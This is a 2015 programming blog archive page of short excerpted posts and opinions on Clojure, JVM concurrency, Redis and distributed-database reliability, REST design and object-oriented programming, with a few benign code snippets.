Shanghai Building to be Demolished

Technology

July 28th, 2015

In Technology

No Comments

When to use repeating tasks inside of an app?

I would guess the best thing about cronj is its focus on thread management. And yet, I am in favor of very small apps, which may only have a single task that repeats. But this raises problems for the JVM. If I bundle all tasks into a single JVM process, then the highly optimized JVM engine can take full advantage of the careful thread management of cronj. If I have separate apps, then they compete for resources (though the newest ...

Read More Source

July 28th, 2015

In Technology

No Comments

Why Docker failed

Interesting:

Building container images for large applications is still a challenge. If we are to rely on container images for testing, CI, and emergency deploys, we need to have an image ready in less than a minute. Dockerfiles make this almost impossible for large applications. While easy to use, they sit at an abstraction layer too high to enable complex use-cases:

Out-of-band caching for particularly heavy-weight and application-specific dependencies

Accessing secrets at build time without committing them to the image

Full control over ...

Read More Source

July 28th, 2015

In Technology

No Comments

Trying to convince devs of the merits of Clojure

Interesting:

Leon Grapenthin:

I have tried various different approaches from convincing of Clojure advantages in the Java devs concrete domain, showing off incredibly awesome toy projects, larger projects, not tryng to sell, trying to sell, sending ClojureTV videos and what not approach you can think of. I have not managed to introduce one Java dev to Clojure in a way that he picked it up and had no interest before. I have spent many hours thinking about how I could ...

Read More Source

July 28th, 2015

In Technology

No Comments

The limits of RESTful interfaces

Interesting:

The chart leaves most of the rows blank for the year 1995, but of course, all of the necessary technologies existed in 1995, and in 1989. The focus of the article is on HTTP, but the article might be stronger if it confronted why HTTP was successful, when it lacked important abilities such as Authentication. There were other technologies that offered Business Logic and Logging and Realtime, back in 1989, so why weren’t they more successful?

It’s also curious ...

Read More Source

July 28th, 2015

In Technology

No Comments

Mutable arrays in Clojure

Chris Zheng has done some impressive work with mutable arrays:

Predicates as Datastructure I’m quite proud of the expressiveness of the ova syntax. We can see below the number of possible ways that we can select elements out of the array. Here is just a sample of what can be done using the select function.

(def ov (ova [{:val 1} {:val 2} {:val 3} {:val 4} {:val 5} {:val 6} ...
Read More Source

July 27th, 2015

In Technology

No Comments

When should Clojure imitate Object Oriented Programming?

Chris Zheng writes:

Servers that are running on a particular port can be tracked and stopped. I have to say, this was the feature that I wanted the most, which motivated the framework’s design. The annoying thing about development in emacs is that I have to be careful of not losing the reference to the server. Since there was no way of stopping it unless the repl is restarted. I wanted to implement a registery for references to running servers ...

Read More Source

July 26th, 2015

In Technology

No Comments

The maybe monad represents computations whose result is maybe a valid value, but maybe nil

Here is a sentence I have read a dozen times without understanding it:

The maybe monad represents computations whose result is maybe a valid value, but maybe nil.

This seems like a good way to think about the Any type, when dealing with things such as Typed Clojure.

Source

July 26th, 2015

In Technology

No Comments

The sins of Adam Bard

This last year I find that everything Adam Bard writes is worth reading. I have not been checking his blog very often but I should. I just saw this post from a year ago, which is really fantastic:

Any time you put a let in a let or an if in an if, that’s a strong code smell. It means you’re still writing code in a way that requires you to short-circuit your functions with returns.

There is a fascinating debate ...

Read More Source

July 25th, 2015

In Technology

No Comments

Scheduling libraries in Clojure

Chris Zheng has some interesting arguments for his particular take on these issues:

There are now many more scheduling libraries in the clojure world:

at-at chime clj-cronlike cron4j monotony quartzite schejulure

With so many options, and so many different ways to define task schedules, why choose cronj? I have listed a number of design decisions that make it beneficial. However, for those that are impatient, cut to the chase, by skipping to the simulations section.

…In reviewing other scheduling libraries, it was found that fully-featured thread management capabilities were ...

Read More Source

July 25th, 2015

In Technology

No Comments

Will I regret Functional programming?

I’ve spent the last year writing negative things about Object Oriented Programming, and I’ve been among the many people arguing that Functional Programming is the future. And I’ve talked about the political forces that drove the adoption of Object Oriented Programming. But that does raise the issue, what political forces are driving the adoption of Functional Programming? One possible answer is “None” and that would explain why Functional Programming remains a small niche compared to Object Oriented Programming. Another is ...

Read More Source

July 24th, 2015

In Technology

No Comments

Why Python 3.x went off course

A fascinating post from 2005, which is when Python began to veer off course. Python 2x had some beautiful features that could have been further developed, but instead, with 3.0, Python went down the classic Object Oriented road. In this post, Guido van van Rossum explicitly rejects much of the Functional paradigm that Python had picked up from Lisp.

So now reduce(). This is actually the one I’ve always hated most, because, apart from a few examples involving + or *, ...

Read More Source

July 24th, 2015

In Technology

No Comments

They cost of using Hystrix

Ouch!

We cannot use Clojure’s concurrency primitives (futures/promises/agents).

That is fascinating to think that at some point Clojure’s concurrency primitives are not enough, and so we need to give up on them and move to a Java library. I am aware that Netflix is dealing with unusual scale, but what is the point of Clojure if it doesn’t automate exactly these issues?

The comments are interesting:

Marc: When using Aleph, the choice for lamina would seem a sure thing. What made you turn ...

Read More Source

July 24th, 2015

In Technology

No Comments

The simplest step toward circuit breakers in Clojure

I think I missed the importance of this the first time I read it:

Consider you have this line within a service response:

{:body @(future (client/get “http://soundcloud.com/blah/wah”)) :status 200}

Now http://soundcloud.com/blah/wah goes down and those client requests start getting blocked on the request. In Clojure all future calls acquire a thread from the same thread pool. In our example the service is blocked up, is pilling new requests onto the blocked pool and we are in trouble.

My first solution to this problem ...

Read More Source

July 24th, 2015

In Technology

No Comments

Chris Zheng is consolidating his libraries into Hara

I have some questions for Chris Zheng. I admire Ribol very much, though I was not aware of some of the other repos. I am curious why you are moving forward with an integration of these libraries? The Clojure community has so far avoided frameworks and even large libraries have met with rejection. What do you hope to gain by consolidating these projects?

The projects:

iroh has been moved to hara.reflect

ova has been moved to hara.concurrent.ova

cronj has been superceded by ...

Read More Source

July 24th, 2015

In Technology

No Comments

Property based testing in the Functional Paradigm

Interesting:

Which brings me to another killer feature of many functional languages: property-based testing (PBT). While PBT is by no means an exclusive domain of functional languages, it does have deep roots in Haskell in the form of QuickCheck. What sets PBT apart from its traditional unit and integration brethren is its emphasis on defining a set of properties that describe a function and ability to generate a lot of random test cases to attempt to falsify these specifications. This ...

Read More Source

July 24th, 2015

In Technology

No Comments

Functional programming is not the same as static typing

I like this article, but it does confuse Functional Programming with static data types. Consider this example of evil Ruby code:

Take for instance the following Ruby code that uses Virtus.

class Events < Array def Source

July 24th, 2015

In Technology

No Comments

Dealing with mutation is hard

Obviously, I agree with this:

Dealing with mutation is hard. When I constantly grappled with these issues early on in my career, I thought I had serious issues. Perhaps I wasn’t cut out to be a developer. Maybe I should seriously consider a different career. It didn’t help that other developers breezed through similar assignments as if mutation and them were one (don’t get any ideas). But then I started reading about functional programming and how everyone was endlessly whining about ...

Read More Source

July 16th, 2015

In Technology

No Comments

The worsening web

The comments here are great:

Let’s dive deeper into the CNN article. Among the 200+ HTTP requests the page makes are calls to 25 different domains.

Yes you read that correctly. TWENTY…FIVE. Among them are a few that are clearly ad related (ex. ad.doubleclick.net, pixel.moatads.com), a few that serve some analytics function, and many whose names are intentionally obfuscated to confuse us.

Jeff Edsell:

The part of web cruft I hate most:

“Why does our page load so slow? Should you compress the images ...

Read More Source

July 16th, 2015

In Technology

No Comments

Greg Hendershott looks at Racket Macros

I wanted to ask Greg Hendershott for permission to copy his code in Clojure, but I could not find an email address for him. My own email is lawrence@krubner.com. I love this epilogue from Greg Hendershott:

"Before I had studied Chan (Zen) for thirty years, I saw mountains as mountains, and rivers as rivers. When I arrived at a more intimate knowledge, I came to the point where I saw that mountains are not mountains, and rivers are not rivers. But ...
Read More Source

July 15th, 2015

In Technology

No Comments

Vim has a function with 400 lines of code

When I worked at Category4, they had a homegrown HTML library. The method that generated HTML tables was over 1,100 lines of code (not a typo). So I’ve seen some fairly large functions. Dealing with them is why I now prefer 5 line functions written in a clean language like Clojure.

This is interesting:

This function is over 400 lines and contains over 40 #ifdefs. Its job? To wait for keyboard input. Several factors caused this code to be so ...

Read More Source

July 15th, 2015

In Technology

No Comments

What does the word “Cancel” mean?

Some of the worst User Interface Design I’ve seen in awhile. The Amtrak website uses “Cancel” as the text on the button that cancels your reservation. Almost everywhere in the world, if you see a button that says “Cancel,” it means you do not want to do something. But Amtrak uses it here, so if you do want to cancel your reservation, you have to hit the Cancel button.

Source

June 21st, 2015

In Technology

No Comments

Image recognition: we can not get there from here with what we’ve got

Interesting:

Leopards (or jaguars) are complex 3-dimensional shapes with quite a lot of degrees of freedom (considering all the body parts that can move independently). These shapes can produce a lot of different 2d contours projected on the camera sensor: sometimes you can see a distinct silhouette featuring a face and full set of paws, and sometimes it’s just a back and a curled tail. Such complex objects can be handled by a CNN very efficiently by using a simple rule: ...

Read More Source

June 21st, 2015

In Technology

No Comments

Where does image recognition fail?

Photo shows image recognition has a long way to go.

Source

June 20th, 2015

In Technology

No Comments

How NodeJs fails to deal with backpressure

Interesting:

The Node concurrency model is kind of like a credit card for computing work. Credit cards free you from the hassle and risks of carrying cash, and they are completely great in almost every way, unless you spend more than you make. It’s hard to even know you have spent more than you make until the next bill comes. Similarly, node lets you do more work, and it’ll call you back when it’s done, whenever that is. You might not ...

Read More Source

June 19th, 2015

In Technology

No Comments

Git history should show you reality, not a cleaned up version of reality

Well said:

The obsession of git users with rewriting history has always puzzled me. I like that the feature exists, because it is very occasionally useful, but it’s one of those things you should almost never use.

The whole point of history is to have a record of what happened. If you’re going around and changing it, then you no longer have a record of what happened, but a record of what you kind of wish had actually happened.

How are you ...

Read More Source

June 15th, 2015

In Technology

No Comments

The New Netflix

Netflix upgrades its website.

I have my doubts about the heavy use of Javascript that’s become normal over the last 5 years.

I got my current MacBook Pro in 2011 and for awhile it seemed like a fast computer. Nowadays, however, if I launch Chrome, and I have 6 or 7 pages open, the computer is under stress. If I open the terminal and run “top” I see that the load varies between 1 and 3. It never goes below ...

Read More Source

June 10th, 2015

In Technology

No Comments

The new RESTful style

Apparently this style is now popular with some developers:

Source

June 9th, 2015

In Technology

No Comments

Strange problems with Rackspace cloud machine

What to make of this?

root@cloud-server-01:~# emacs The program ‘emacs’ can be found in the following packages: * emacs24 * emacs24-nox * e3 * emacs24-lucid * jove Try: apt-get install root@cloud-server-01:~# apt-get install emacs24 Reading package lists… Done Building dependency tree Reading state information… Done emacs24 is already the newest version. emacs24 set to manually installed. 0 upgraded, 0 newly installed, 0 to remove and 21 not upgraded. 134 not fully installed or removed. After this operation, 0 B of additional disk space will be used. Do you want to continue? [Y/n] ...

Read More Source

June 9th, 2015

In Technology

No Comments

Avoid RejectedExecutionException in lein :(

I am curious what Dave Ray wrote here in his Seesaw repo.

(defn -main [& args] (when-not (first args) (println "Usage: gaidica ") (System/exit 1)) (reset! api-key (first args)) (invoke-later (-> (make-frame) add-behaviors show!)) ; Avoid RejectedExecutionException in lein :( @(promise))

Does anyone know what this about? What causes RejectedExecutionException in lein?

Source

June 2nd, 2015

In Technology

No Comments

When to use Patch

Interesting:

When should we use the PATCH HTTP method?

The HTTP methods PATCH can be used to update partial resources. For instance, when you only need to update one field of the resource, PUTting a complete resource representation might be cumbersome and utilizes more bandwidth

Also, the PUT method is idempotent. PUTting the same data multiple times to the same resource, should not result in different resources, while POSTing to the same resource can result in the creation of multiple resources.

See also RFC 5789 ...

Read More Source

June 2nd, 2015

In Technology

No Comments

Working with monoids

Interesting:

Simply put, Monoids describe types containing a binary function and an identity value.

When applied to the identity value and a random value x, said function leaves its argument x untouched, returning it as a result. This short description should be enough to get the conversation started.

Here’s how Haskell defines a Monoid:

class Monoid m where mempty :: m mappend :: m -> m -> m mconcat :: [m] -> m ...

Read More Source

June 2nd, 2015

In Technology

No Comments

A pipeline of agents creates a fully asynchronous programming model

I recall reading this code in 2010 or 2011, when I was first learning Clojure, and at the time there was a great deal about it that I did not understand, so I missed the point:

(def logger (agent (list))) (defn log [msg] (send logger #(cons %2 %1) msg)) (defn create-relay [n] (letfn [(next-agent [previous _] (agent previous))] (reduce next-agent nil (range 0 n)))) (defn relay [relay msg] (letfn [(relay-msg [next-actor hop msg] ...
Read More Source

June 1st, 2015

In Technology

No Comments

Using reducers on the bytes in a memory mapped file

This could be a powerful technique, especially when speed and parallelization are important:

First, we’ll have a couple of parameters: the character set for the input and a hint for the size of chunk to break the file into. (def ^:dynamic *charset* (Charset/forName "UTF-8")) (def ^:dynamic *chunk-size* (* 10 1024 1024)) With those, we’ll break the file into chunks by skipping through it and reading ahead until we get to the end of a line. Later, when we actually read the file, this ...
Read More Source

June 1st, 2015

In Technology

No Comments

Higher order functions in Clojure support chaining

Interesting:

One easy-to-miss strength of this approach is that it supports chaining. In a few places in our application, we wanted to send a computation to an agent and observe the state of the computation (e.g. to show and hide a spinner). We didn’t want to have to wire observation hooks or callbacks directly into the process, so we created a contextual function (defn with-process-callbacks [fire fun & args]). with-process-callbacks returns a function which calls fun with args, but calls fire ...

Read More Source

June 1st, 2015

In Technology

No Comments

Stuart Sierra says avoid Dynamic Scope

Dynamic scope will ruin your life. In a different presentation he says that dynamic scope is okay so long as the var is really private, and marked as private.

The problem with this pattern, especially in libraries, is the constraints it imposes on any code that wants to use the library. The with-resource macro severely constrains what you can do in the body:

You can’t dispatch to another thread. Say goodbye to Agents, Futures, thread pools, non-blocking I/O, or any other ...

Read More Source

June 1st, 2015

In Technology

No Comments

Mark Seemann feels that mutating state is intuitive

This is a case of someone trying to be open-minded, but still being biased because of their years spent getting comfortable with a very particular form of programming that allows a very particular form of mutable state:

In FP they’ve come up with this clever concept of monads to ‘work around’ the problem of mutating state. Yes, monads are very clever, but if they feel foreign in OOD it’s because they’re not required. Mutation is an inherent part of the ...

Read More Source

May 28th, 2015

In Technology

No Comments

Simple Design

Interesting:

Yagni is a way to refer to the XP practice of Simple Design (from the first edition of The White Book, the second edition refers to the related notion of “incremental design”). [1] Like many elements of XP, it’s a sharp contrast to elements of the widely held principles of software engineering in the late 90s. At that time there was a big push for careful up-front planning of software development.

Let’s imagine I’m working with a startup in Minas ...

Read More Source

May 26th, 2015

In Technology

No Comments

Why Appsflyer gave up on Python and switched to Clojure

Interesting:

At AppsFlyer we actually started our code base in Python. Two years later this wasn’t enough to handle the growing number of users and requests. We started to encounter issues like one of the critical Python processes taking too long to digest the incoming messages, caused mainly by string manipulations and Python’s own memory management system. Even partitioning the messages amongst several processes and servers could not overcome this. This eventually killed the process and caused data loss – ...

Read More Source

May 23rd, 2015

In Technology

No Comments

Concurrency in Ruby

Celluloid is interesting:

Celluloid provides a simple and natural way to build fault-tolerant concurrent programs in Ruby. With Celluloid, you can build systems out of concurrent objects just as easily as you build sequential programs out of regular objects. Recommended for any developer, including novices, Celluloid should help ease your worries about building multithreaded Ruby programs.

Much of the difficulty with building concurrent programs in Ruby arises because the object-oriented mechanisms for structuring code, such as classes and inheritance, are separate ...

Read More Source

May 21st, 2015

In Technology

No Comments

Sandi Metz tries to solve Object Oriented problems with composition

Kind of sad:

She says “We love dependency injection”.

First she acknowledges that the “proper” Object Oriented approach leads to more code for the same behavior:

but then she says the solution is to use composition, which offers all kinds of flexibility:

She says it is wonderful because in the end we get “pluggable behavior”.

But if it is a good idea to pull certain methods out of an object, and make them independent, in an object that can then be injected ...

Read More Source

May 21st, 2015

In Technology

No Comments

Sandi Metz on hidden assumptions

Interesting:

Our code is full of hidden assumptions, things that seem like nothing, secrets that we did not name and thus cannot see. These secrets represent missing concepts and this talk shows you how to expose those concepts with code that is easy to understand, change and extend. Being explicit about hidden ideas makes your code simpler, your apps clearer and your life better. Even very small ideas matter. Everything, even nothing, is something.

Source

May 19th, 2015

In Technology

No Comments

Predator-Prey modeling in Clojure

Interesting:

Introduction to Predator-Prey Systems In this edition of the blog, I’ll discuss how you can use Clojure to solve a system of nonlinear differential equations. The particular system I’ll be solving is the Predator-Prey or Lotka-Volterra Model, which you can read all about right here. The basic concept is that you are modeling a population of predators and prey (e.g. Foxes and Rabbits, which we’ll use here). How the two populations change over time can be modeled like so:

dR/dt=αR−βRF dF/dt=−γF+δRF

These are differential ...

Read More Source

May 10th, 2015

In Technology

No Comments

addShutdownHook(), to stop your app in a reasonable way

Interesting and important:

Problem:

A program may require to execute some pieces of instructions when application goes down. An application may go down because of several reasons:

Because all of its threads have completed execution

Because of call to System.exit()

Because user hit CNTRL-C

System level shutdown or User Log-Off

Concept at Abstract level: Write all the instructions(java code) in a thread’s run method and call java.lang.Runtime.addShutdownHook(Thread t). This method will then register this thread with JVM’s shutdown hook. At the time of shutting down, JVM will run ...

Read More Source

May 10th, 2015

In Technology

No Comments

Test all your code in production using “feature flags”

I was talking to someone at Viacom, and he told me they were doing something very clever: they use feature flags to limit who can see new features, and in fact, all new features are at first limited to the QA team. Because of this, they have no development servers — everything is tested in production. This allows the testing to be much more realistic.

Feature flag libraries in Ruby and Clojure:

Ruby: rollout

Clojure: shoutout

Source

May 6th, 2015

In Technology

No Comments

Anyone can contribute to clojure-doc.org

Clojure-doc.org is the place for people to contribute. This is the important bit:

Contributor-friendly This material is not covered by the Clojure Contributor Agreement and is developed using pull-requests on GitHub.

This is discussed in an interesting thread on the Clojure Google Group:

Assertion: “There are only a handful of people in the world with authorization to edit pages on clojure.org. ”

Fact: 14

Assertion: “Far more have authorization to edit the wiki pages on dev.clojure.org — hundreds, I think. A subset of those who ...

Read More Source

May 6th, 2015

In Technology

No Comments

The changelog for the clojure.org wiki

This is not linked anywhere, but it is good to know about:

Source

May 6th, 2015

In Technology

No Comments

The contents were now a boilerplate AT&T copyright notice claiming intellectual ownership of the otherwise still empty file

If the law allows a company to copyright an empty file, then the law should be changed:

In a 1984 version of Unix, things started heating up, and true grew to 276 bytes. The contents were now a boilerplate AT&T copyright notice claiming intellectual ownership of the otherwise still empty file.

Source

May 5th, 2015

In Technology

No Comments

Caribou as the ultimate Clojure web framework?

Kyle Dawkins writes:

Justin Smith speaks the truth about Caribou. I’m also one of the team members, and although we did lose our funding, we’re all still around and there are a number of active Caribou projects alive and well. It does have everything Justin says, and yes, it’s imperfect, but it’s also very easy to get a site up and running quickly. But you don’t lose the modularity that we all love in the Clojure world. ...

Read More Source

May 4th, 2015

In Technology

No Comments

If a language does not guarantee order in a hashmap can the hashmap be referentially transparent?

It’s an interesting question. Clojure says it is referentially transparent, meaning you can remove any function and replace it with its return value, with no effect on the program, but can Clojure be referentially transparent if it does not guarantee the order of its hashmaps (especially since hashmaps are also functions in Clojure)?

Note that this issue is similar to ensuring that a hash function is consistent with equals in a language, i.e. if two values x and y are ...

Read More Source

May 3rd, 2015

In Technology

No Comments

ExecutorService makes exceptions disappear in a bad way

I have been bitten by this many times, mostly in Clojure libraries that use ExecutorService under the hood:

What will be the result of the following snippet?

executorService.submit(() -> { System.out.println(1 / 0); }); I got bitten by that too many times: it won’t print anything. No sign of java.lang.ArithmeticException: / by zero, nothing. Thread pool just swallows this exception, as if it never happened. If it was a good’ol java.lang.Thread created from scratch, UncaughtExceptionHandler could work. But with thread pools ...

Read More Source

May 3rd, 2015

In Technology

No Comments

JVM advice: name your thread pools

Tomasz Nurkiewicz offers this bit of advice, which sounds like it would also be useful in Clojure:

Name pool threads

I can’t emphasize this. When dumping threads of a running JVM or during debugging, default thread pool naming scheme is pool-N-thread-M, where N stands for pool sequence number (every time you create a new thread pool, global N counter is incremented) and M is a thread sequence number within a pool. For example pool-2-thread-3 means third thread in second pool ...

Read More Source

May 3rd, 2015

In Technology

No Comments

Clojure does not need job queues, because it has Storm, Onyx, Quasar, Pulsar

I find it interesting to consider the question that maybe Clojure has so many great systems for distributed processing that it does not need the classic job queue.

It’s worth considering that if you don’t need something very robust (and depending on your situation), you could just use Redis + Carmine directly to pass messages around (possibly representing jobs), and have workers pull from the message queue. There is nothing else you really need for this; it’s quite straight forward. ...

Read More Source

May 2nd, 2015

In Technology

No Comments

Aaron Bedra: web apps in Clojure have some of the worst security

Aaron Bedra – clojure.web/with-security

Breda says the Clojure community needs to have a talk, because of some bad things that happened recently. The rate of people getting hacked is going up. He says:

“Clojure web apps are some of the worst I have seen in terms of security. We are talking about PHP-without-a-framework levels of insecurity.”

“We have bricks with no mortar.”

“If I missed your library, it’s because it doesn’t exist. I could not find it on the first page of Google, ...

Read More Source

May 1st, 2015

In Technology

1 Comment

Embarrassing code I wrote under stress at a job interview

(Note: this post was, in part, inspired by John Lawrence Aspden’s post about FizzBuzz.)

I write terrible code when I go to a job interview. That’s mostly because, when they ask me to solve a coding question, I get nervous. I thought it might be entertaining if I wrote about one such encounter.

Yesterday I went to a job interview, at a company in New York that had once built their stack (for managing online advertising) in Ruby but who are now ...

Read More Source

April 28th, 2015

In Technology

No Comments

Jim Starkey says “Well, duh”

This doesn’t rise to the level of “Zed Shaw rant” style of meltdown, but Jim Starkey has decided the play the role of “famous old codger who did great work once but now seems completely out of touch“:

Any discussion of the CAP “theorem” revolves around the A – exactly what does availability mean?

The narrow sense is that availability means that all surviving nodes in all partitions continue to process work. This reduces the CAP idea to nothing more than ...

Read More Source

April 28th, 2015

In Technology

No Comments

Kyle Kingsbury’s Jespen series is CAP enlightenment

So, again, I am late to the party. Yesterday, by accident, I discovered Kyle Kingsbury “Jespen” series. I stayed up till 4 AM reading through it. Every article is completely amazing. I wish he could do an article on every NoSQL database, but I read somewhere that each article cost him months of effort, so it is impossible to expect more from him. I recommend every single one of these articles:

Source

April 27th, 2015

In Technology

No Comments

Redis losing 56% of writes during a partition

Kyle Kingsbury (the same guy who does cool Clojure stuff like Reimann and teasers) has an epic writeup on Redis:

“In this post, we demonstrate Redis losing 56% of writes during a partition.”

I have trouble finding the pithy excerpt here, because it is all good. I guess I’ll just quote the opening where Kingsbury sets up the argument, and then you can read the rest for the way things fall apart:

Redis offers asynchronous primary->secondary replication. A single server is ...

Read More Source

April 27th, 2015

In Technology

No Comments

Can MongoDB keep its promises?

See “Stale reads with WriteConcern Majority and ReadPreference Primary”

Kyle Kingsbury starts the fight without meaning to:

In this test, MongoDB returns the value “0″ for the document, even though the only possible values for the document at that time were 1, 2, 3, or 4. The value 0 was the proper state at some time close to the partition’s beginning, but successful reads just after the partition was fully established indicated that at least one of the indeterminate (:info) CaS ...

Read More Source

April 27th, 2015

In Technology

No Comments

Parallelism versus concurrency

Someone posted this on Hacker News, and it is very good. Parallelism sends equal work to every processor, concurrency is the messy chaos of sending work to whatever processor is free, or bundling up many threads on one processor.

Source

April 27th, 2015

In Technology

No Comments

Disque is a distributed and fault tolerant message broker, so it works as middle layer among processes that want to exchange messages

The people who gave us Redis announced a new project today:

Disque is a distributed and fault tolerant message broker, so it works as middle layer among processes that want to exchange messages.

Producers add messages that are served to consumers. Since message queues are often used in order to process delayed jobs, Disque often uses the term “job” in the API and in the documentation, however jobs are actually just messages in the form of strings, so Disque can be ...

Read More Source

April 26th, 2015

In Technology

No Comments

A very long Java method

A common rule in programming is to keep methods as small as possible, so I am surprised to see this method in a seemingly well-run project such as ZooKeeper:

private void processEvent(Object event) { try { if (event instanceof WatcherSetEventPair) { ...
Read More Source

April 26th, 2015

In Technology

No Comments

Java performance

I like Tomasz Nurkiewicz’s summary of this book:

JIT (just-in-time) compiler turns out to be one of the most important tools bringing performance to the JVM. First “real” chapter goes into great details of how JIT works in different modes, how to monitor and tune it. I learnt a lot already, but the best is yet to come. Obviously garbage collection is a major concern, thus Oaks devotes two full chapters to explain all popular GC algorithms. Besides pure description, expect ...

Read More Source

April 26th, 2015

In Technology

No Comments

Your data is the API

Interesting:

The first time I realized that “Data as an API” was in fact a very good idea was at Kevin Lynagh’s presetation at Öredev. However, if you want something more like a struct Clojure provides something called a record. If you know Scala this is very similar to case classes. A record can be defined like this:

(defrecord Person [firstName lastName])

This creates an actual normal Java class Person with two immutable fields and implements hashCode and equals. A record also ...

Read More Source

April 26th, 2015

In Technology

No Comments

The farce known as “object oriented programming”

Jayway has a nice critique of how much real-life object oriented programming departs from the beautiful theory:

One thing I have realized is that in Java we use classes for many purposes. In a typical web application written in Java using something like Spring framework you will often find:

Data transfer objects (DTO:s)

Services (REST API, controllers, DAO:s)

Rich objects (if you’re lucky!)

A DTO is just a struct and contains no behavior. To minimize the boilerplate in Java I tend to implement DTO:s using ...

Read More Source

April 26th, 2015

In Technology

No Comments

New data structures in Clojure 1.8

Apparently there are a lot of new data structures which may arrive in Clojure 1.8, thanks to Zach Tellman:

So, at the end of this exercise we have more than 5000 lines of Java, and we want to add them to the core implementation of Clojure. Ideally, we won’t introduce any bugs in the process. But the same unrolling that makes the code faster makes it significantly harder to simply read the code and verify it’s “correct”. The Clojure code which ...

Read More Source

April 26th, 2015

In Technology

No Comments

Design patterns have social value

An interesting bit from Adam Petersen:

Patterns have social value too. The format arose to enable collaborative construction using a shared vocabulary. In Patterns in C I write on the groundbreaking work of architect Christopher Alexander:

The patterns found in Alexander’s books are simple and elegant formulations on how to solve recurring problems in different contexts. [...] His work is a praise of collaborative construction guided by a shared language – a pattern language. To Alexander, such a language is a generative, ...

Read More Source

April 26th, 2015

In Technology

No Comments

Automat for easy finite-state-machines in Clojure

Another interesting library from Zach Tellman allows for finite state machines:

For a more real-world use case, consider tracking browsing behavior on an online store. We want to see when the customer visits the cart, begins to checkout, but then returns back to the cart without having completed the checkout. Seeing this indecisive behavior, we can make a special offer.

Source

April 26th, 2015

In Technology

No Comments

Using abstract classes to hide boilerplate code

I personally never do the kind of work where I need to implement abstract classes. I was asked in a job interview why I would use an abstract class, and I came up with some nonsense answer about having a default implementation for situations where my code expected a given situation 90% of the time, and edge cases only 10% of the time. But here is an interesting example in Clojure, where it interoperates with Java, using an abstract class ...

Read More Source

April 26th, 2015

In Technology

No Comments

Zach Tellman on specialized tuples for Clojure

Other than Rich Hickey, I think I learn the most from Tellman, regarding how to do things and why they work the way they do:

Most data structures are designed to hold arbitrary amounts of data. When we talk about their complexity in time and space, we use big O notation, which is only concerned with performance characteristics as n grows arbitrarily large. Understanding how to cast an O(n) problem as O(log n) or even O(1) is certainly valuable, and ...

Read More Source

April 26th, 2015

In Technology

No Comments

When to use reify in Clojure

This is a nice explantation. If you have a protocol, then you can instantiate with a record, like this:

(defprotocol Foo (bar [this]) (baz [this st]) (quux [this x y])) (defrecord FooRecord Foo (bar [this] (println this)) (baz [this st] (str this st)) (quux [this x y] (str this (* x y))))

But if only need to instantiate the protocol one ...

Read More Source

April 25th, 2015

In Technology

No Comments

ExecutorCompletionService

How very much easier it is to use core.async in Clojure! My one concern is that core.async has a thread pool that is set to the number of CPUs + 2, so the thread pool is small and rigid.

Each call to contentFuture.get() waits until downloading given web site (remember that each Future represent one site) is finished. This works, but has a major bottleneck. Imagine you have as many threads in a pool as tasks (20 sites in that ...

Read More Source

April 25th, 2015

In Technology

No Comments

Limit new features to a subset of your users

Inspired by the Ruby gem “Rollout”, Shoutout offers user buckets on which you can test new features:

Storage

Unlike rollout, shoutout is completely storage agnostic. You’ll have to implement your own storage backend, which implements ShoutoutStorage. The storage protocol has two functions, read-from-storage, and write-to-storage, both of which should be simple enough to implement. Both deal purely with serialized strings, and string keys, shoutout does the serialization logic itself.

The library provides an in memory store (used for testing) that you could ...

Read More Source

April 24th, 2015

In Technology

No Comments

A Redis queue

There is a reason why so many message systems are using Redis as their backend:

Source

April 24th, 2015

In Technology

No Comments

Redis: I am late to the party

The strangest thing about the human mind is the degree to which context shades our memories. So now that I’m using Redis I realize that I’ve been reading about it for years without realizing how diverse its uses are. I just now decided to re-read the Github post from 2009 “Introducing Rescue” and I only now realize that it mentions both Redis and Kestrel, 2 things I had not heard of then, mere names that I read and forgot because ...

Read More Source

April 22nd, 2015

In Technology

No Comments

Design patterns are failures

I love this:

Design Patterns was especially well-timed because it offered a ray of hope for people who were mired in the Woes of the New OO Programmer. You see, the OO camp was saying: “EVERYTHING IS AN OBJECT! YOU WILL THINK OF EVERYTHING AS OBJECTS FROM NOW ON! THE OO PROGRAMMING PARADIGM IS: CREATE YOUR CLASSES, ADD OPERATIONS TO THEM, AND LAUNCH THE DAMN THING!”

The last sentence (forgive the caps, sorry) is a pretty reasonable paraphrase of Stroustroup in his ...

Read More Source

April 22nd, 2015

In Technology

No Comments

Singletons are evil

This is great:

Everyone Loves Singleton

Why is the Singleton so attractive? I’ll be the first to admit: I liked it too. No, scratch that – I loved the Singleton. It felt like an old friend from the moment I laid eyes on it. It was simple and beautiful.

I’ll tell you why: it’s because the Singleton pattern is a throwback to non-OO programming. It’s a lifeline for people who didn’t understand a single word that the Gang of Four were trying ...

Read More Source

April 20th, 2015

In Technology

No Comments

Steve Yegge’s contribution to the revolt against Object Oriented Programming

Somehow I waited till today to read Steve Yegge’s 2006 rant “Execution in the Kingdom of Nouns”. I’ve seen it recommended many times, but I only now read it. I wish I had read it in 2006. I am not sure I would have understood it, but in retrospect it clearly marks the end of the mania that for Object Oriented Programming that Paul Graham had noted in 2001 (Paul Graham wrote: “There is a kind of mania for object-oriented ...

Read More Source

April 20th, 2015

In Technology

No Comments

Encapsulation of information is folly

This is strongly stated, and surprising:

Datatypes and protocols are opinionated

While datatypes and protocols have well-defined relationships with host constructs, and make for a great way to expose Clojure functionality to Java programs, they are not primarily interop constructs. That is, they make no effort to completely mimic or adapt to all of the OO mechanisms of the host. In particular, they reflect the following opinions:

Concrete derivation is bad: you cannot derive datatypes from concrete classes, only interfaces

You should always program to ...

Read More Source

April 20th, 2015

In Technology

No Comments

Why have both deftype and defrecord?

This is good:

It ends up that classes in most OO programs fall into two distinct categories: those classes that are artifacts of the implementation/programming domain, e.g. String or collection classes, or Clojure’s reference types; and classes that represent application domain information, e.g. Employee, PurchaseOrder etc. It has always been an unfortunate characteristic of using classes for application domain information that it resulted in information being hidden behind class-specific micro-languages, e.g. even the seemingly harmless employee.getName() is a custom interface to ...

Read More Source

April 7th, 2015

In Technology

No Comments

Ruby closures borderline macro syntax

A good reminder of how much block syntax gives you:

if user.save # publish event 'user.created', with payload {user: user} Publisher.broadcast_event('user.created', user: user) end def create_user(params) user = User.new(params) # publish event 'user.created', with payload {user: user}, using block syntax # now the event will ...
Read More Source

April 6th, 2015

In Technology

No Comments

If the only thing you care about is behavior then ruby suggests to implement it as a module

Interesting:

